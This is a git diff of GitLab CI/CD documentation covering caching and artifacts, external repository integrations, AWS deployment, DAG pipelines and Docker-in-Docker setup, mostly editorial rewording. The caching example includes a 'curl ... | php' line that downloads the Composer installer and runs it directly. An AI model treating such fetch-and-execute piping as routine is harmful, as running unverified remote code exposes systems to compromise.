+ You can configure a cache to pass intermediate build results between stages,
+ but you should use artifacts instead.
-- `artifacts`: **Use for stage results that will be passed between stages.**
+- `artifacts`: **Use for stage results that are passed between stages.**
- Artifacts are files generated by a job which are stored and uploaded, and can then
- be fetched and used by jobs in later stages of the **same pipeline**. In other words,
- [you can't create an artifact in job-A in stage-1, and then use this artifact in job-B in stage-1](https://gitlab.com/gitlab-org/gitlab/-/issues/25837).
- This data will not be available in different pipelines, but is available to be downloaded
+ Artifacts are files that are generated by a job so they can be stored and uploaded. You can
+ fetch and use artifacts in jobs in later stages of the same pipeline. You can't
+ create an artifact in a job in one stage, and use this artifact in a different job in
+ the same stage. This data is not available in different pipelines, but can be downloaded
from the UI.
-The name `artifacts` sounds like it's only useful outside of the job, like for downloading
-a final image, but artifacts are also available in later stages within a pipeline.
-So if you build your application by downloading all the required modules, you might
-want to declare them as artifacts so that subsequent stages can use them. There are
-some optimizations like declaring an [expiry time](../yaml/README.md#artifactsexpire_in)
-so you don't keep artifacts around too long, or using [dependencies](../yaml/README.md#dependencies)
-to control which jobs fetch the artifacts.
+ If you download modules while building your application, you can declare them as
+ artifacts and subsequent stage jobs can use them.
+
+ You can define an [expiry time](../yaml/README.md#artifactsexpire_in) so artifacts
+ are deleted after a defined time. Use [dependencies](../yaml/README.md#dependencies)
+ to control which jobs fetch the artifacts.
+
+ Artifacts can also be used to make files available for download after a pipeline
+ completes, like a build image.
Caches:
@@ -68,7 +69,7 @@ Artifacts:
- Are disabled if not defined per job (using `artifacts:`).
- Can only be enabled per job, not globally.
-- Are created during a pipeline and can be used by the subsequent jobs of that currently active pipeline.
+- Are created during a pipeline and can be used by subsequent jobs in the same pipeline.
- Are always uploaded to GitLab (known as coordinator).
- Can have an expiration value for controlling disk usage (30 days by default).
@@ -77,28 +78,18 @@ can't link to files outside it.
## Good caching practices
-We have the cache from the perspective of the developers (who consume a cache
-within the job) and the cache from the perspective of the runner. Depending on
-which type of runner you are using, cache can act differently.
-
-From the perspective of the developer, to ensure maximum availability of the
-cache, when declaring `cache` in your jobs, use one or a mix of the following:
+To ensure maximum availability of the cache, when you declare `cache` in your jobs,
+use one or more of the following:
- [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs
that share their cache.
- [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
- that will be only available to a particular project.
+ that are only available to a particular project.
- [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example,
different caches on each branch). For that, you can take advantage of the
[CI/CD predefined variables](../variables/README.md#predefined-environment-variables).
-TIP: **Tip:**
-Using the same runner for your pipeline, is the most simple and efficient way to
-cache files in one stage or pipeline, and pass this cache to subsequent stages
-or pipelines in a guaranteed manner.
-
-From the perspective of the runner, in order for cache to work effectively, one
-of the following must be true:
+For runners to work with caches efficiently, you must do one of the following:
- Use a single runner for all your jobs.
- Use multiple runners (in autoscale mode or not) that use
@@ -106,13 +97,12 @@ of the following must be true:
where the cache is stored in S3 buckets (like shared runners on GitLab.com).
- Use multiple runners (not in autoscale mode) of the same architecture that
share a common network-mounted directory (using NFS or something similar)
- where the cache will be stored.
+ where the cache is stored.
-TIP: **Tip:**
Read about the [availability of the cache](#availability-of-the-cache)
to learn more about the internals and get a better idea how cache works.
-### Sharing caches across the same branch
+### Share caches across the same branch
Define a cache with the `key: ${CI_COMMIT_REF_SLUG}` so that jobs of each
branch always use the same cache:
@@ -122,10 +112,9 @@ cache:
key: ${CI_COMMIT_REF_SLUG}
```
-While this feels like it might be safe from accidentally overwriting the cache,
-it means merge requests get slow first pipelines, which might be a bad
-developer experience. The next time a new commit is pushed to the branch, the
-cache will be re-used.
+This configuration is safe from accidentally overwriting the cache, but merge requests
+get slow first pipelines. The next time a new commit is pushed to the branch, the
+cache is re-used and jobs run faster.
To enable per-job and per-branch caching:
@@ -134,33 +123,32 @@ cache:
key: "$CI_JOB_NAME-$CI_COMMIT_REF_SLUG"
```
-To enable per-branch and per-stage caching:
+To enable per-stage and per-branch caching:
```yaml
cache:
key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG"
```
-### Sharing caches across different branches
+### Share caches across different branches
-If the files you are caching need to be shared across all branches and all jobs,
-you can use the same key for all of them:
+To share a cache across all branches and all jobs, use the same key for everything:
```yaml
cache:
key: one-key-to-rule-them-all
```
-To share the same cache between branches, but separate them by job:
+To share caches between branches, but have a unique cache for each job:
```yaml
cache:
key: ${CI_JOB_NAME}
```
-### Disabling cache on specific jobs
+### Disable cache on specific jobs
-If you have defined the cache globally, it means that each job will use the
+If you have defined the cache globally, it means that each job uses the
same definition. You can override this behavior per-job, and if you want to
disable it completely, use an empty hash:
@@ -169,7 +157,7 @@ job:
cache: {}
```
-### Inherit global config, but override specific settings per job
+### Inherit global configuration, but override specific settings per job
You can override cache settings without overwriting the global cache by using
[anchors](../yaml/README.md#anchors). For example, if you want to override the
@@ -197,20 +185,19 @@ For more fine tuning, read also about the
## Common use cases
-The most common use case of cache is to preserve contents between subsequent
-runs of jobs for things like dependencies and commonly used libraries
-(Node.js packages, PHP packages, rubygems, Python libraries, etc.),
-so they don't have to be re-fetched from the public internet.
+The most common use case of caching is to avoid downloading content like dependencies
+or libraries repeatedly between subsequent runs of jobs. Node.js packages,
+PHP packages, Ruby gems, Python libraries, and others can all be cached.
For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates).
-### Caching Node.js dependencies
+### Cache Node.js dependencies
-Assuming your project is using [npm](https://www.npmjs.com/) to install the Node.js
+If your project is using [npm](https://www.npmjs.com/) to install the Node.js
dependencies, the following example defines `cache` globally so that all jobs inherit it.
-By default, npm stores cache data in the home folder `~/.npm` but since
-[you can't cache things outside of the project directory](../yaml/README.md#cachepaths),
-we tell npm to use `./.npm` instead, and it is cached per-branch:
+By default, npm stores cache data in the home folder `~/.npm` but you
+[can't cache things outside of the project directory](../yaml/README.md#cachepaths).
+Instead, we tell npm to use `./.npm`, and cache it per-branch:
```yaml
#
@@ -253,7 +240,7 @@ cache:
before_script:
# Install and run Composer
- - curl --show-error --silent https://getcomposer.org/installer | php
+ - curl --show-error --silent "https://getcomposer.org/installer" | php
- php composer.phar install
test:
@@ -355,17 +342,18 @@ test:
## Availability of the cache
-Caching is an optimization, but isn't guaranteed to always work, so you need to
+Caching is an optimization, but it isn't guaranteed to always work. You need to
be prepared to regenerate any cached files in each job that needs them.
-Assuming you have properly [defined `cache` in `.gitlab-ci.yml`](../yaml/README.md#cache)
-according to your workflow, the availability of the cache ultimately depends on
-how the runner has been configured (the executor type and whether different
-runners are used for passing the cache between jobs).
+After you have defined a [cache in `.gitlab-ci.yml`](../yaml/README.md#cache),
+the availability of the cache depends on:
+
+- The runner's executor type
+- Whether different runners are used to pass the cache between jobs.
### Where the caches are stored
-Since the runner is the one responsible for storing the cache, it's essential
+The runner is responsible for storing the cache, so it's essential
to know **where** it's stored. All the cache paths defined under a job in
`.gitlab-ci.yml` are archived in a single `cache.zip` file and stored in the
runner's configured cache location. By default, they are stored locally in the
@@ -379,11 +367,7 @@ machine where the runner is installed and depends on the type of the executor.
### How archiving and extracting works
-In the most simple scenario, consider that you use only one machine where the
-runner is installed, and all jobs of your project run on the same host.
-
-Let's see the following example of two jobs that belong to two consecutive
-stages:
+This example has two jobs that belong to two consecutive stages:
```yaml
stages:
@@ -415,7 +399,8 @@ job B:
- vendor/
```
-Here's what happens behind the scenes:
+If you have one machine with one runner installed, and all jobs for your project
+run on the same host:
1. Pipeline starts.
1. `job A` runs.
@@ -431,28 +416,27 @@ Here's what happens behind the scenes:
1. `script` is executed.
1. Pipeline finishes.
-By using a single runner on a single machine, you'll not have the issue where
-`job B` might execute on a runner different from `job A`, thus guaranteeing the
-cache between stages. That will only work if the build goes from stage `build`
-to `test` in the same runner/machine, otherwise, you [might not have the cache
-available](#cache-mismatch).
+By using a single runner on a single machine, you don't have the issue where
+`job B` might execute on a runner different from `job A`. This setup guarantees the
+cache can be reused between stages. It only works if the execution goes from the `build` stage
+to the `test` stage in the same runner/machine. Otherwise, the cache [might not be available](#cache-mismatch).
During the caching process, there's also a couple of things to consider:
- If some other job, with another cache configuration had saved its
cache in the same zip file, it is overwritten. If the S3 based shared cache is
used, the file is additionally uploaded to S3 to an object based on the cache
- key. So, two jobs with different paths, but the same cache key, will overwrite
+ key. So, two jobs with different paths, but the same cache key, overwrites
their cache.
- When extracting the cache from `cache.zip`, everything in the zip file is
extracted in the job's working directory (usually the repository which is
pulled down), and the runner doesn't mind if the archive of `job A` overwrites
things in the archive of `job B`.
-The reason why it works this way is because the cache created for one runner
-often will not be valid when used by a different one which can run on a
-**different architecture** (e.g., when the cache includes binary files). And
-since the different steps might be executed by runners running on different
+It works this way because the cache created for one runner
+often isn't valid when used by a different one. A different runner may run on a
+different architecture (for example, when the cache includes binary files). Also,
+because the different steps might be executed by runners running on different
machines, it is a safe default.
### Cache mismatch
@@ -464,7 +448,7 @@ mismatch and a few ideas how to fix it.
| -------------------------- | ------------- |
| You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache | Use only one runner for your project or use multiple runners with distributed cache enabled |
| You use runners in autoscale mode without a distributed cache enabled | Configure the autoscale runner to use a distributed cache |
-| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. |
+| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. There's no automatic way to do this. |
| You use the same `key` for jobs where they cache different paths. | Use different cache keys to that the cache archive is stored to a different location and doesn't overwrite wrong caches. |
Let's explore some examples.
@@ -472,12 +456,10 @@ Let's explore some examples.
#### Examples
Let's assume you have only one runner assigned to your project, so the cache
-will be stored in the runner's machine by default. If two jobs, A and B,
-have the same cache key, but they cache different paths, cache B would overwrite
-cache A, even if their `paths` don't match:
+is stored in the runner's machine by default.
-We want `job A` and `job B` to re-use their
-cache when the pipeline is run for a second time.
+Two jobs could cause caches to be overwritten if they have the same cache key, but
+they cache a different path:
```yaml
stages:
@@ -506,15 +488,15 @@ job B:
1. `job B` runs.
1. The previous cache, if any, is unzipped.
1. `vendor/` is cached as cache.zip and overwrites the previous one.
-1. The next time `job A` runs it will use the cache of `job B` which is different
- and thus will be ineffective.
+1. The next time `job A` runs it uses the cache of `job B` which is different
+ and thus isn't effective.
To fix that, use different `keys` for each job.
In another case, let's assume you have more than one runner assigned to your
project, but the distributed cache is not enabled. The second time the
pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case
-will be different):
+is different):
```yaml
stages:
@@ -538,9 +520,8 @@ job B:
- vendor/
```
-In that case, even if the `key` is different (no fear of overwriting), you
-might experience that the cached files "get cleaned" before each stage if the
-jobs run on different runners in the subsequent pipelines.
+Even if the `key` is different, the cached files might get "cleaned" before each
+stage if the jobs run on different runners in the subsequent pipelines.
## Clearing the cache
@@ -553,26 +534,21 @@ To start with a fresh copy of the cache, there are two ways to do that.
### Clearing the cache by changing `cache:key`
All you have to do is set a new `cache: key` in your `.gitlab-ci.yml`. In the
-next run of the pipeline, the cache will be stored in a different location.
+next run of the pipeline, the cache is stored in a different location.
### Clearing the cache manually
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41249) in GitLab 10.4.
-If you want to avoid editing `.gitlab-ci.yml`, you can easily clear the cache
-via GitLab's UI:
+If you want to avoid editing `.gitlab-ci.yml`, you can clear the cache
+via the GitLab UI:
1. Navigate to your project's **CI/CD > Pipelines** page.
1. Click on the **Clear runner caches** button to clean up the cache.
![Clear runner caches](img/clear_runners_cache.png)
-1. On the next push, your CI/CD job will use a new cache.
-
-Behind the scenes, this works by increasing a counter in the database, and the
-value of that counter is used to create the key for the cache by appending an
-integer to it: `-1`, `-2`, etc. After a push, a new key is generated and the
-old cache is not valid anymore.
+1. On the next push, your CI/CD job uses a new cache.
<!-- ## Troubleshooting
diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md
index ec0c41032ca..5d6af0b78db 100644
--- a/doc/ci/chatops/README.md
+++ b/doc/ci/chatops/README.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, concepts, howto
---
diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
index f8e2a2b7eb0..a466214374b 100644
--- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
+++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -14,17 +14,17 @@ GitLab CI/CD can be used with Bitbucket Cloud by:
To use GitLab CI/CD with a Bitbucket Cloud repository:
-1. In GitLab create a **CI/CD for external repo**, select **Repo by URL** and
+1. In GitLab create a **CI/CD for external repository**, select **Repo by URL** and
create the project.
![Create project](img/external_repository.png)
- GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository).
+ GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository).
1. In GitLab create a
[Personal Access Token](../../user/profile/personal_access_tokens.md)
- with `api` scope. This will be used to authenticate requests from the web
- hook that will be created in Bitbucket to notify GitLab of new commits.
+ with `api` scope. This is used to authenticate requests from the web
+ hook that is created in Bitbucket to notify GitLab of new commits.
1. In Bitbucket, from **Settings > Webhooks**, create a new web hook to notify
GitLab of new commits.
@@ -62,8 +62,9 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:
1. In Bitbucket, add a script to push the pipeline status to Bitbucket.
- > Note: changes made in GitLab will be overwritten by any changes made
- > upstream in Bitbucket.
+ NOTE:
+ Changes made in GitLab are overwritten by any changes made
+ upstream in Bitbucket.
Create a file `build_status` and insert the script below and run
`chmod +x build_status` in your terminal to make the script executable.
@@ -110,7 +111,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:
esac
echo "Pushing status to $BITBUCKET_STATUS_API..."
- curl --request POST $BITBUCKET_STATUS_API \
+ curl --request POST "$BITBUCKET_STATUS_API" \
--user $BITBUCKET_USERNAME:$BITBUCKET_ACCESS_TOKEN \
--header "Content-Type:application/json" \
--silent \
diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md
index b6f885ff220..8e3d609b5dc 100644
--- a/doc/ci/ci_cd_for_external_repos/github_integration.md
+++ b/doc/ci/ci_cd_for_external_repos/github_integration.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -14,7 +14,7 @@ GitLab.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
Watch a video on [Using GitLab CI/CD pipelines with GitHub repositories](https://www.youtube.com/watch?v=qgl3F2j-1cI).
-NOTE: **Note:**
+NOTE:
Because of [GitHub limitations](https://gitlab.com/gitlab-org/gitlab/-/issues/9147),
[GitHub OAuth](../../integration/github.md#enabling-github-oauth)
cannot be used to authenticate with GitHub as an external CI/CD repository.
@@ -28,14 +28,14 @@ To perform a one-off authorization with GitHub to grant GitLab access your
repositories:
1. Open <https://github.com/settings/tokens/new> to create a **Personal Access
- Token**. This token will be used to access your repository and push commit
+ Token**. This token is used to access your repository and push commit
statuses to GitHub.
The `repo` and `admin:repo_hook` should be enable to allow GitLab access to
your project, update commit statuses, and create a web hook to notify
GitLab of new commits.
-1. In GitLab, go to the [new project page](../../gitlab-basics/create-project.md#create-a-project-in-gitlab), select the **CI/CD for external repo** tab, and then click
+1. In GitLab, go to the [new project page](../../gitlab-basics/create-project.md#create-a-project-in-gitlab), select the **CI/CD for external repository** tab, and then click
**GitHub**.
1. Paste the token into the **Personal access token** field and click **List
@@ -43,12 +43,12 @@ repositories:
1. In GitHub, add a `.gitlab-ci.yml` to [configure GitLab CI/CD](../quick_start/README.md).
-GitLab will:
+GitLab:
-1. Import the project.
-1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository)
-1. Enable [GitHub project integration](../../user/project/integrations/github.md)
-1. Create a web hook on GitHub to notify GitLab of new commits.
+1. Imports the project.
+1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository)
+1. Enables [GitHub project integration](../../user/project/integrations/github.md)
+1. Creates a web hook on GitHub to notify GitLab of new commits.
## Connect manually
@@ -57,7 +57,7 @@ To use **GitHub Enterprise** with **GitLab.com**, use this method.
To manually enable GitLab CI/CD for your repository:
1. In GitHub open <https://github.com/settings/tokens/new> create a **Personal
- Access Token.** GitLab will use this token to access your repository and
+ Access Token.** GitLab uses this token to access your repository and
push commit statuses.
Enter a **Token description** and update the scope to allow:
@@ -68,7 +68,7 @@ To manually enable GitLab CI/CD for your repository:
URL for your GitHub repository. If your project is private, use the personal
access token you just created for authentication.
- GitLab will automatically configure polling-based pull mirroring.
+ GitLab automatically configures polling-based pull mirroring.
1. Still in GitLab, enable the [GitHub project integration](../../user/project/integrations/github.md)
from **Settings > Integrations.**
diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md
index ae6cb759d23..44534ddf793 100644
--- a/doc/ci/ci_cd_for_external_repos/index.md
+++ b/doc/ci/ci_cd_for_external_repos/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, howto
---
@@ -18,7 +18,7 @@ GitLab CI/CD can be used with:
Instead of moving your entire project to GitLab, you can connect your
external repository to get the benefits of GitLab CI/CD.
-Connecting an external repository will set up [repository mirroring](../../user/project/repository/repository_mirroring.md)
+Connecting an external repository sets up [repository mirroring](../../user/project/repository/repository_mirroring.md)
and create a lightweight project with issues, merge requests, wiki, and
snippets disabled. These features
[can be re-enabled later](../../user/project/settings/index.md#sharing-and-permissions).
@@ -26,7 +26,7 @@ snippets disabled. These features
To connect to an external repository:
1. From your GitLab dashboard, click **New project**.
-1. Switch to the **CI/CD for external repo** tab.
+1. Switch to the **CI/CD for external repository** tab.
1. Choose **GitHub** or **Repo by URL**.
1. The next steps are similar to the [import flow](../../user/project/import/index.md).
@@ -74,7 +74,7 @@ If changes are pushed to the branch referenced by the Pull Request and the
Pull Request is still open, a pipeline for the external pull request is
created.
-GitLab CI/CD will create 2 pipelines in this case. One for the
+GitLab CI/CD creates 2 pipelines in this case. One for the
branch push and one for the external pull request.
After the Pull Request is closed, no pipelines are created for the external pull
@@ -89,10 +89,10 @@ The variable names are prefixed with `CI_EXTERNAL_PULL_REQUEST_`.
### Limitations
-This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories will be ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667).
+This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories are ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667).
-Given that GitLab will create 2 pipelines, if changes are pushed to a remote branch that
-references an open Pull Request, both will contribute to the status of the Pull Request
+Given that GitLab creates 2 pipelines, if changes are pushed to a remote branch that
+references an open Pull Request, both contribute to the status of the Pull Request
via GitHub integration. If you want to exclusively run pipelines on external pull
requests and not on branches you can add `except: [branches]` to the job specs.
[Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/24089#workaround).
diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md
index cbaebde0b00..4706180688a 100644
--- a/doc/ci/cloud_deployment/index.md
+++ b/doc/ci/cloud_deployment/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -25,9 +25,9 @@ it easier to [deploy to AWS](#deploy-your-application-to-the-aws-elastic-contain
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31167) in GitLab 12.6.
-GitLab's AWS Docker image provides the [AWS Command Line Interface](https://aws.amazon.com/cli/),
+The GitLab AWS Docker image provides the [AWS Command Line Interface](https://aws.amazon.com/cli/),
which enables you to run `aws` commands. As part of your deployment strategy, you can run `aws` commands directly from
-`.gitlab-ci.yml` by specifying [GitLab's AWS Docker image](https://gitlab.com/gitlab-org/cloud-deploy).
+`.gitlab-ci.yml` by specifying the [GitLab AWS Docker image](https://gitlab.com/gitlab-org/cloud-deploy).
Some credentials are required to be able to run `aws` commands:
@@ -35,7 +35,7 @@ Some credentials are required to be able to run `aws` commands:
1. Log in onto the console and create [a new IAM user](https://console.aws.amazon.com/iam/home#/home).
1. Select your newly created user to access its details. Navigate to **Security credentials > Create a new access key**.
- NOTE: **Note:**
+ NOTE:
A new **Access key ID** and **Secret access key** pair will be generated. Please take a note of them right away.
1. In your GitLab project, go to **Settings > CI / CD**. Set the following as
@@ -65,7 +65,7 @@ Some credentials are required to be able to run `aws` commands:
- aws create-deployment ...
```
- NOTE: **Note:**
+ NOTE:
The image used in the example above
(`registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest`) is hosted on the [GitLab
Container Registry](../../user/packages/container_registry/index.md) and is
@@ -149,11 +149,11 @@ After you have these prerequisites ready, follow these steps:
In both cases, make sure that the value for the `containerDefinitions[].name` attribute is
the same as the `Container name` defined in your targeted ECS service.
- CAUTION: **Warning:**
+ WARNING:
`CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these environment
variables are defined within your project.
- NOTE: **Note:**
+ NOTE:
If the name of the task definition you wrote in your JSON file is the same name
as an existing task definition on AWS, then a new revision is created for it.
Otherwise, a brand new task definition is created, starting at revision 1.
@@ -181,7 +181,7 @@ After you have these prerequisites ready, follow these steps:
task definition, making the cluster pull the newest version of your
application.
-CAUTION: **Warning:**
+WARNING:
The [`AWS/Deploy-ECS.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml)
template includes both the [`Jobs/Build.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml)
and [`Jobs/Deploy/ECS.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml)
@@ -311,6 +311,9 @@ build_artifact:
- <built artifact>
```
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For a video walkthrough of this configuration process, see [Auto Deploy to EC2](https://www.youtube.com/watch?v=4B-qSwKnacA).
+
### Deploy to Amazon EKS
- [How to deploy your application to a GitLab-managed Amazon EKS cluster with Auto DevOps](https://about.gitlab.com/blog/2020/05/05/deploying-application-eks/)
diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md
index 04f27c584b7..a8ce46b9845 100644
--- a/doc/ci/directed_acyclic_graph/index.md
+++ b/doc/ci/directed_acyclic_graph/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -17,7 +17,7 @@ be set up.
For example, you may have a specific tool or separate website that is built
as part of your main project. Using a DAG, you can specify the relationship between
-these jobs and GitLab will then execute the jobs as soon as possible instead of waiting
+these jobs and GitLab executes the jobs as soon as possible instead of waiting
for each stage to complete.
Unlike other DAG solutions for CI/CD, GitLab does not require you to choose one or the
@@ -44,9 +44,9 @@ It has a pipeline that looks like the following:
| build_d | test_d | deploy_d |
Using a DAG, you can relate the `_a` jobs to each other separately from the `_b` jobs,
-and even if service `a` takes a very long time to build, service `b` will not
-wait for it and will finish as quickly as it can. In this very same pipeline, `_c` and
-`_d` can be left alone and will run together in staged sequence just like any normal
+and even if service `a` takes a very long time to build, service `b` doesn't
+wait for it and finishes as quickly as it can. In this very same pipeline, `_c` and
+`_d` can be left alone and run together in staged sequence just like any normal
GitLab pipeline.
## Use cases
@@ -60,7 +60,7 @@ but related microservices.
Additionally, a DAG can help with general speediness of pipelines and helping
to deliver fast feedback. By creating dependency relationships that don't unnecessarily
-block each other, your pipelines will run as quickly as possible regardless of
+block each other, your pipelines run as quickly as possible regardless of
pipeline stages, ensuring output (including errors) is available to developers
as quickly as possible.
@@ -88,13 +88,13 @@ are certain use cases that you may need to work around. For more information:
> - It's enabled on GitLab.com.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-needs-visualization).
-The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph will display all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view.
+The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph displays all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view.
To see the needs visualization, click on the **Needs** tab when viewing a pipeline that uses the `needs:` keyword.
![Needs visualization example](img/dag_graph_example_v13_1.png)
-Clicking a node will highlight all the job paths it depends on.
+Clicking a node highlights all the job paths it depends on.
![Needs visualization with path highlight](img/dag_graph_example_clicked_v13_1.png)
diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md
index 4e7d9015e85..2b97f317fc1 100644
--- a/doc/ci/docker/README.md
+++ b/doc/ci/docker/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index
---
diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md
index ebbfde09c67..8e5ce2fb359 100644
--- a/doc/ci/docker/using_docker_build.md
+++ b/doc/ci/docker/using_docker_build.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -37,7 +37,7 @@ during jobs, each with their own tradeoffs.
An alternative to using `docker build` is to [use kaniko](using_kaniko.md).
This avoids having to execute a runner in privileged mode.
-TIP: **Tip:**
+NOTE:
To see how Docker and GitLab Runner are configured for shared runners on
GitLab.com, see [GitLab.com shared
runners](../../user/gitlab_com/index.md#shared-runners).
@@ -103,7 +103,7 @@ image in privileged mode.
CI builds, follow the `docker-compose`
[installation instructions](https://docs.docker.com/compose/install/).
-DANGER: **Warning:**
+WARNING:
By enabling `--docker-privileged`, you are effectively disabling all of
the security mechanisms of containers and exposing your host to privilege
escalation which can lead to container breakout. For more information, check
@@ -152,9 +152,9 @@ Docker-in-Docker service and
[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners)
support this.
-GitLab Runner 11.11 or later is required, but it is not supported if GitLab
-Runner is installed using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html).
-See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/83) for details.
+##### Docker
+
+> Introduced in GitLab Runner 11.11.
1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/).
1. Register GitLab Runner from the command line to use `docker` and `privileged`
@@ -217,6 +217,62 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss
# The 'docker' hostname is the alias of the service container as described at
# https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services.
#
+ # Specify to Docker where to create the certificates, Docker will
+ # create them automatically on boot, and will create
+ # `/certs/client` that will be shared between the service and job
+ # container, thanks to volume mount from config.toml
+ DOCKER_TLS_CERTDIR: "/certs"
+
+ services:
+ - docker:19.03.12-dind
+
+ before_script:
+ - docker info
+
+ build:
+ stage: build
+ script:
+ - docker build -t my-docker-image .
+ - docker run my-docker-image /script/to/run/tests
+ ```
+
+##### Kubernetes
+
+> [Introduced](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/106) in GitLab Runner Helm Chart 0.23.0.
+
+1. Using the
